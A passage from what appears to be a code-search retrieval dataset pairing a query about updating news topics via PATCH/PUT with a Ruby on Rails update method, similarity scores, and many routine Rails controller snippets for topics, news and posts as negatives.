:unprocessable_entity\n end\n else\n render :json => {:ok => false, :message => topic.errors}, :status => :unprocessable_entity\n end\n end", "def create\n @list = current_user.topics.create list_params\n end", "def create_topic\n @debate.create_topic(params[:topic])\n redirect_to :action => \"index\"\n end", "def create\n @topic = current_user.topics.build(params[:topic])\n @encounter = Encounter.find(session[:encounter_key])\n\n\n respond_to do |format|\n if @topic.save\n session[:topic_key] = @topic.id\n format.html { redirect_to encounter_path(@encounter), notice: 'Topic was successfully created.' }\n format.json { render json: @topic, status: :created, location: @topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @topics_user = TopicsUser.new(:topic_id=>params[:topic_id], :user_id=>params[:user_id])\n respond_to do |format|\n if @topics_user.save\n format.html { redirect_to find_topics_url, notice: 'Topic successfully added.' }\n format.json { render json: @topics_user, status: :created, location: @topics_user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @topics_user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_post topic_id, payload\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.post POSTS, payload, topic_id, nil, \"create_post\" )\n\t\t\t\tend", "def create\n topic = Topic.find(params[:topic_id])\n @post = topic.posts.build(post_params)\n @post.user = current_user\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to [topic, @post], notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def topic_params\n params.require(:topic).permit(:title, :content, :likes)\n end", "def post_topic(forum_id, title, body, options = { })\n self.post(\"/topics.json\",\n options.merge(\n :body => { :topic => {\n :forum_id => forum_id, :title => title, :body => body\n } }.to_json\n )\n )['topic']\n end", "def create\n @news = News.new(params[:news])\n\n respond_to do |format|\n if @news.save\n format.html { redirect_to @news, notice: 'News was successfully created.' }\n format.json { render json: @news, status: :created, location: @news }\n else\n format.html { render action: \"new\" }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(topic, options = {})\n body = options.has_key?(:body) ? options[:body] : {}\n body[:topic] = topic\n\n response = @client.post \"/api/topics\", body, options\n\n return response\n end", "def post_new_topic(form)\n begin\n config.sleep_before_post\n form.submit\n rescue StandardError => err\n raise Impostor::TopicError.new(err)\n end\n end", "def create\n @topic = Topic.new(params[:topic])\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to(@topic, :notice => 'Topic was successfully created.') }\n format.xml { render :xml => @topic, :status => :created, :location => @topic }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @topic = Topic.new(params[:topic])\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to(@topic, :notice => 'Topic was successfully created.') }\n format.xml { render :xml => @topic, :status => :created, :location => @topic }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def topic_params\n params.require(:topic).permit(:title, :description)\n end", "def topic_params\n params.require(:topic).permit(:title, :description)\n end", "def topic_params\n params.require(:topic).permit(:title, :description)\n end", "def create\n @document_topic_sub_topic = DocumentTopicSubTopic.new(document_topic_sub_topic_params)\n\n respond_to do |format|\n if @document_topic_sub_topic.save\n format.html { redirect_to @document_topic_sub_topic, notice: 'Document topic sub topic was successfully created.' }\n format.json { render action: 'show', status: :created, location: @document_topic_sub_topic }\n else\n format.html { render action: 'new' }\n format.json { render json: @document_topic_sub_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @topic = Topic.new(params[:topic])\n\n respond_to do |format|\n if @topic.save\n flash[:success] = 'Topic was successfully created.'\n format.html { redirect_to(@topic) }\n format.xml { render :xml => @topic, :status => :created, :location => @topic }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @topic = Topic.new(params[:topic])\n\n respond_to do |format|\n if @topic.save\n flash[:notice] = 'Topic was successfully created.'\n format.html { redirect_to(@topic) }\n format.xml { render :xml => @topic, :status => :created, :location => @topic }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def create\n @citation_topic = CitationTopic.new(citation_topic_params)\n\n respond_to do |format|\n if @citation_topic.save\n format.html { redirect_to :back, notice: 'Citation topic was successfully created.' }\n format.json { render json: @citation_topic, status: :created, location: @citation_topic }\n else\n format.html { redirect_to :back, notice: 'Citation topic was NOT successfully created.' }\n format.json { render json: @citation_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trending_topic = TrendingTopic.new(params[:trending_topic])\n\n respond_to do |format|\n if @trending_topic.save\n format.html { redirect_to @trending_topic, notice: 'Trending topic was successfully created.' }\n format.json { render json: @trending_topic, status: :created, location: @trending_topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trending_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @seab_topic = SeabTopic.new(seab_topic_params)\n\n respond_to do |format|\n if @seab_topic.save\n format.html { redirect_to @seab_topic, notice: 'Seab topic was successfully created.' }\n format.json { render action: 'show', status: :created, location: @seab_topic }\n else\n format.html { render action: 'new' }\n format.json { render json: @seab_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @neighborhood_topic = NeighborhoodTopic.new(params[:neighborhood_topic])\n\n respond_to do |format|\n if @neighborhood_topic.save\n format.html { redirect_to @neighborhood_topic, notice: 'Neighborhood topic was successfully created.' }\n format.json { render json: @neighborhood_topic, status: :created, location: @neighborhood_topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @neighborhood_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @topic = Topic.new forum_id: params[:forum_id]\n @topic.messages.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def create\n @topic = Topic.new(params[:topic])\n if @topic.save\n redirect_to @topic,notice: 'Тема создана'\n else\n render 'new'\n end\n\n #respond_to do |format|\n # if @topic.save\n # format.html { redirect_to @topic, notice: 'Topic was successfully created.' }\n # format.json { render json: @topic, status: :created, location: @topic }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @topic.errors, status: :unprocessable_entity }\n # end\n #end\n end", "def create\n @news = News.new(news_params)\n respond_to do |format|\n if @news.save\n format.html { redirect_to thank_you_for_submitting_news_path }\n format.json { render :show, status: :created, location: @news }\n else\n format.html { render :new }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @news = current_user.news.new(news_params)\n\n respond_to do |format|\n if @news.save\n format.html { redirect_to @news, notice: 'News was successfully created.' }\n format.json { render :show, status: :created, location: @news }\n else\n format.html { render :new }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @news = News.new(news_params)\n\n respond_to do |format|\n if @news.save\n format.html { redirect_to @news, notice: 'news was successfully created.' }\n format.json { render action: 'show', status: :created, location: @news}\n else\n format.html { render action: 'new' }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @topic = @forum.topics.new(params[:topic])\n @topic.user = current_user\n p = @topic.posts.first\n p.user = current_user\n p.topic = @topic\n p.save!\n \n respond_to do |format|\n if @topic.save\n format.html { render :action => \"show\", :notice => \"Topic successfully created\" }\n else\n format.html { render :action => \"new\" }\n end\n end\n end", "def new\n @topic = Topic.new\n @page_title = \"New Topic\"\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "def CreateForum params = {}\n \n APICall(path: 'forums.json',method: 'POST',payload: params.to_json)\n \n end", "def topic_params\n params.require(:topic).permit(:content)\n end", "def create\n @tag_topic = TagTopic.new(tag_topic_params)\n\n respond_to do |format|\n if @tag_topic.save\n format.html { redirect_to @tag_topic, notice: 'Tag topic was successfully created.' }\n format.json { render :show, status: :created, location: @tag_topic }\n else\n format.html { render :new }\n format.json { render json: @tag_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @text_topic = TextTopic.new(params[:text_topic])\n\n respond_to do |format|\n if @text_topic.save\n format.html { redirect_to(@text_topic, :notice => 'Text topic was successfully created.') }\n format.xml { render :xml => @text_topic, :status => :created, :location => @text_topic }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @text_topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n @topic = Topic.find(post_params[:topic_id])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @topic, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { redirect_to @topic}\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def newsletter_topic_params\n params.require(:newsletter_topic).permit(:newsletter_id, :topic_id)\n end", "def create\n @article_news = ArticleNew.new(article_news_params)\n\n respond_to do |format|\n if @article_news.save\n format.html { redirect_to @article_news, notice: \"Article new was successfully created.\" }\n format.json { render :show, status: :created, location: @article_news }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @article_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n user = current_user\n params[:news][:category_news_id] = params[:category]\n \n @news = user.news.new(params[:news])\n\n respond_to do |format|\n if @news.save\n format.html { redirect_to news_index_url, notice: 'News was successfully created.' }\n format.json { render json: @news, status: :created, location: @news }\n else\n format.html { render action: \"new\" }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_should_create_post_via_API_JSON\r\n get \"/logout\"\r\n post \"/forum_posts.json\", :api_key=>'testapikey',\r\n :forum_post => {:title=>'API Test Post',\r\n :body=>'Test Post desc',\r\n :user_id=>1}\r\n assert_response :created\r\n topic = JSON.parse(response.body)\r\n assert topic['title'] == 'API Test Post', 'Incorrect topic title'\r\n assert topic['user_id'] == 1, 'Incorrect user id'\r\n assert topic['body'] == 'Test Post desc', 'Incorrect topic description' \r\n end", "def topic_params\n params.require(:topic).permit(:title, :body, :user_id)\n end", "def topic_params\n params.require(:topic).permit(:name, :content)\n end" ]
[ "0.7357698", "0.6798283", "0.6776125", "0.67456883", "0.6699255", "0.6676694", "0.6672996", "0.6671501", "0.66629356", "0.66322255", "0.66322255", "0.65982664", "0.659068", "0.6583488", "0.6552721", "0.65452695", "0.65414506", "0.65412253", "0.6539774", "0.6532048", "0.65218925", "0.64907885", "0.64683175", "0.64565307", "0.64543927", "0.6452411", "0.6447066", "0.6442004", "0.6436226", "0.64344966", "0.6424864", "0.6417782", "0.6412825", "0.6406205", "0.6404431", "0.6404386", "0.64003754", "0.64000684", "0.63816243", "0.63450015", "0.63439184", "0.63401574", "0.63378173", "0.6326374", "0.6310121", "0.6310107", "0.6303582", "0.6291772", "0.6273275", "0.6271469", "0.62709916", "0.62597257", "0.6251844", "0.6239268", "0.62389815", "0.6232027", "0.6230808", "0.6229161", "0.62253666", "0.6213364", "0.621168", "0.6196803", "0.6191197", "0.6172169", "0.6165753", "0.6165753", "0.615652", "0.6156208", "0.6156208", "0.6155331", "0.6142856", "0.6140958", "0.6133299", "0.6133299", "0.6133299", "0.6133299", "0.6133299", "0.6131603", "0.6123307", "0.6116128", "0.6115784", "0.6097685", "0.60969776", "0.6090208", "0.6087818", "0.6084299", "0.60836023", "0.60828465", "0.6081068", "0.6079992", "0.6076807", "0.60750353", "0.607344", "0.6071195", "0.60701674", "0.6069612", "0.60673326", "0.6063574", "0.60604984", "0.6060279" ]
0.70594347
1
PATCH/PUT /news_topics/1 PATCH/PUT /news_topics/1.json
def update news_topic_params[:context].gsub!("\n", '</br>') news_topic_params[:short_context].gsub!("\n", '</br>') respond_to do |format| if @news_topic.update(news_topic_params) format.html { redirect_to news_topics_path, :notice => 'News topic was successfully updated.' } format.json { render :show, :status => :ok, :location => @news_topic } else format.html { render :edit } format.json { render :json => @news_topic.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def UpdateTopic id,params = {}\n \n APICall(path: \"topics/#{id}.json\",method: 'PUT',payload: params.to_json)\n \n end", "def update\n @topic.update_attributes!(topic_params)\n json_response(@topic)\n end", "def update\n topic = Topic.find(params[:id])\n if topic.update(params_topic)\n render json: topic, status: 200\n else\n render json: topic.errors, status: 422\n end\n\n end", "def update\n topic = Topic.find(params[:id])\n if topic.update_attributes(topic_params)\n render :json => {:ok => true}, :head => :no_content\n else\n render :json => {:ok => false, :message => topic.errors}, :status => :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @api_v1_topic.update(api_v1_topic_params)\n format.html { redirect_to @api_v1_topic, notice: 'Topic was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_topic }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n params[:topic].delete :messages_attributes\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n format.html { redirect_to topic_url(@topic), notice: 'Topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_with @topic.update(topic_params)\n end", "def update\n\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n format.html { redirect_to @topic, notice: 'Topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @news = News.find(params[:id])\n pt = params[:news]\n @news.node_id = pt[:node_id]\n @news.title = pt[:title]\n @news.body = pt[:body]\n\n respond_to do |format|\n if @news.update_attributes(params[:news])\n format.html { redirect_to @news, notice: t(\"news.update_news_success\") }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n format.html { redirect_to @topic, notice: 'Topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @topic.topic_type.nil?\n @topic.topic_type = :yesno\n end\n \n respond_to do |format|\n if @topic.update(topic_params)\n format.html { redirect_to \"/#{@topic.permalink}\", success: 'Topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article_topic.update(article_topic_params)\n format.html { redirect_to @article_topic, notice: 'Article topic was successfully updated.' }\n format.json { render :show, status: :ok, location: @article_topic }\n else\n format.html { render :edit }\n format.json { render json: @article_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @topic.update!(topic_params)\n format.html { redirect_to @topic, notice: 'Topic was successfully updated.' }\n format.json { render :show, status: :ok, location: @topic }\n else\n format.html { render :edit }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n # @topic = current_user.topics.find(topic_params)\n @topic = current_user.topics.find(params[:id])\n respond_to do |format|\n if @topic.update(topic_params)\n format.html { redirect_to @topic, notice: 'Topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n format.html { redirect_to @topic, notice: 'Topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n format.html { redirect_to @topic, notice: 'Topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n format.html { redirect_to @topic, notice: 'Topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n format.html { redirect_to @topic, notice: 'Topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n format.html { redirect_to @topic, notice: 'Topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n format.html { redirect_to @topic, notice: 'Topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n topic_breadcrums({\"display_text\": \"Update Topic\"})\n respond_to do |format|\n if @topic.update(topic_params)\n format.html { redirect_to topics_url, notice: 'Topic was successfully updated.' }\n format.json { render :show, status: :ok, location: @topic }\n else\n format.html { render :edit }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @topic.update(topic_params)\n format.html { redirect_to @topic, notice: 'Topic was successfully updated.' }\n format.json { render :show, status: :ok, location: @topic }\n end\n end\n end", "def update\n respond_to do |format|\n if @topic.update(topic_params)\n format.html { redirect_to @topic, notice: 'Topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @topic = Topic.find(params[:id])\n authorize @topic\n\n if @topic.update(topic_params)\n render 'api/v1/topics/show', status: :success\n else\n render json: @topic.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @featured_topic.update(featured_topic_params)\n else\n format.json { render json: @featured_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n @news.title = news_params[\"title\"]\n @news.content = news_params[\"content\"]\n @news.user_id = @current_user.id\n if @news.save\n format.html { redirect_to @news, notice: 'News was successfully updated.' }\n format.json { head :no_content }\n end\n end\n end", "def update\n @topic = Topic.find(params[:id])\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n format.html { redirect_to forum_topic_path(@forum,@topic), notice: 'Topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @news_topic_comment.update(news_topic_comment_params)\n format.html { redirect_to @news_topic_comment, notice: 'News topic comment was successfully updated.' }\n format.json { render :show, status: :ok, location: @news_topic_comment }\n else\n format.html { render :edit }\n format.json { render json: @news_topic_comment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @document_topic_sub_topic.update(document_topic_sub_topic_params)\n format.html { redirect_to @document_topic_sub_topic, notice: 'Document topic sub topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @document_topic_sub_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @topic.update(topic_params)\n format.html { redirect_to @topic, notice: 'Topic was successfully updated.' }\n format.json { render :show, status: :ok, location: @topic }\n else\n format.html { render :edit }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @topic.update(topic_params)\n format.html { redirect_to @topic, notice: 'Topic was successfully updated.' }\n format.json { render :show, status: :ok, location: @topic }\n else\n format.html { render :edit }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @topic.update(topic_params)\n format.html { redirect_to @topic, notice: 'Topic was successfully updated.' }\n format.json { render :show, status: :ok, location: @topic }\n else\n format.html { render :edit }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @topic.update(topic_params)\n format.html { redirect_to @topic, notice: 'Topic was successfully updated.' }\n format.json { render :show, status: :ok, location: @topic }\n else\n format.html { render :edit }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @topic.update(topic_params) \n format.html { redirect_to @topic, notice: 'Topic was successfully updated.' }\n format.json { render :show, status: :ok, location: @topic }\n else\n format.html { render :edit }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @topic.update(topic_params)\n format.html { redirect_to topics_path, notice: 'Topic was successfully updated.' }\n format.json { render :show, status: :ok, location: @topic }\n else\n format.html { render :edit }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @sub_topic.update(sub_topic_params)\n format.html { redirect_to @sub_topic, notice: 'Sub topic was successfully updated.' }\n format.json { render :show, status: :ok, location: @sub_topic }\n else\n format.html { render :edit }\n format.json { render json: @sub_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @topic.update(topic_params)\n format.html { redirect_to @topic, notice: 'Topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @subtopic = Subtopic.find(params[:id])\n\n respond_to do |format|\n if @subtopic.update_attributes(params[:subtopic])\n format.html { redirect_to @subtopic, notice: 'Subtopic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subtopic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @community_topic = CommunityTopic.find(params[:id])\n\n respond_to do |format|\n if @community_topic.update_attributes(params[:community_topic])\n format.html { redirect_to [@community, @community_topic], notice: 'Community topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @community_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @topic.update(topic_params)\n format.html { redirect_to [@user, @topic], notice: '成功更新' }\n format.json { render :show, status: :ok, location: @topic }\n else\n format.html { render :edit }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @meeting = Meeting.find(params[:id])\n\t\t@title = \"Edycja spotkania\"\n @oldtopics = Topic.where(:meeting_id => @meeting.id)\n @oldtopics.each do |topic|\n topic.update_attributes({:meeting_id => nil})\n end\n\t\tunless params[:meeting][:topics].nil?\n\t\t\t@temp = Topic.find(params[:meeting][:topics])\n\t\t\[email protected] = @temp\n\t\tend\n respond_to do |format|\n if @meeting.update_attributes(params[:meeting])\n format.html { redirect_to @meeting, notice: 'Meeting was successfully updated.' }\n format.json { head :ok }\n else\n @unusedtopics = Topic.where(:meeting_id => nil)\n @thistopics = Topic.where(:meeting_id => @meeting.id)\n @alltopics = @thistopics + @unusedtopics\n format.html { render action: \"edit\" }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # Making sure only signed in users can access\n # if user_signed_in?\n topic = Topic.find(params[:id])\n topic.update(topic_params)\n if topic.valid?\n render json: topic\n else\n render json: topic.errors\n end\n # else\n # render status: 403, plain: 'Please Sign In to Access'\n # end\n end", "def update\n topic_params = params[:project_topic] || params[:topic]\n title = params[:project_topic] ? 'Project Topic' : 'Topic'\n params[:project_topic] ? load_project_topic : load_topic\n respond_to do |format|\n if @topic.update_attributes(topic_params)\n format.html { redirect_to redirect_path, notice: \"#{title} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render 'form' }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @seab_topic.update(seab_topic_params)\n format.html { redirect_to @seab_topic, notice: 'Seab topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @seab_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @subtopic.update(subtopic_params)\n format.html { redirect_to @subtopic, notice: 'Subtopic was successfully updated.' }\n format.json { render :show, status: :ok, location: @subtopic }\n else\n format.html { render :edit }\n format.json { render json: @subtopic.errors, status: :unprocessable_entity }\n end\n end\n end", "def UpdateForum id,params = {}\n \n APICall(path: \"forums/#{id}.json\",method: 'PUT',payload: params.to_json)\n \n end", "def update\n @topic = Topic.find(params[:id])\n row = @topic.id+1\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n @ws[row,2] = @topic.topic\n @ws[row,3] = @topic.subject.subject\n @ws[row,4] = @topic.seab_sub_topic.topic\n @ws[row,5] = @topic.description\n @ws.save()\n format.html { redirect_to @topic, notice: 'Topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n if @topic.update_attributes(topic_params)\n format.html { redirect_to [:admin, @topic], notice: 'Topic was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n if @topic.update_attributes(topic_params)\n format.html { redirect_to [@pool, @topic], notice: 'Topic was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @forum_topic.update(forum_topic_params)\n format.html { redirect_to @forum_topic, notice: 'Topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @forum_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n flash[:notice] = 'Topic was successfully updated.'\n format.html { redirect_to(@topic) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n flash[:notice] = \"Topic was successfully updated.\"\n format.html { redirect_to(@topic) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @topic.update(topic_params)\n format.html { redirect_to group_topic_path(:id => @topic.id), notice: 'Topic was successfully updated.' }\n format.json { render :show, status: :ok, location: @topic }\n else\n format.html { render :edit }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @newsletter_topic.update(newsletter_topic_params)\n render :show, status: :ok, location: @newsletter_topic\n else\n render json: @newsletter_topic.errors, status: :unprocessable_entity\n end\n end", "def update\n @topic = Topic.find(params[:id])\n expire_front \n\n\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n format.html { redirect_to @topic, notice: 'Topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @data_topic = DataTopic.find(params[:id])\n\n respond_to do |format|\n if @data_topic.update_attributes(params[:data_topic])\n format.html { redirect_to @data_topic, notice: 'Data topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @data_topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @topic.update(topic_params)\n format.html { redirect_to forum_path(:id => @forum), notice: 'Topic was successfully updated.' }\n format.mobile { redirect_to forum_path(:id => @forum), notice: 'Topic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.mobile { render action: 'edit' }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @news.update_attributes(news_params)\n render json: @news, status: :ok\n else\n render json: {message: \"Not found\"}, status: :not_found\n end\n end", "def update\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n if @topic.update_attributes(params[:topic])\n format.html { redirect_to(@topic, :notice => 'Topic was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @news = News.find(params[:id])\n\n respond_to do |format|\n if @news.update_attributes(params[:news])\n format.html { redirect_to @news, notice: 'News was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @user_topic.update(user_topic_params)\n format.html { redirect_to @user_topic, notice: 'User topic was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_topic }\n 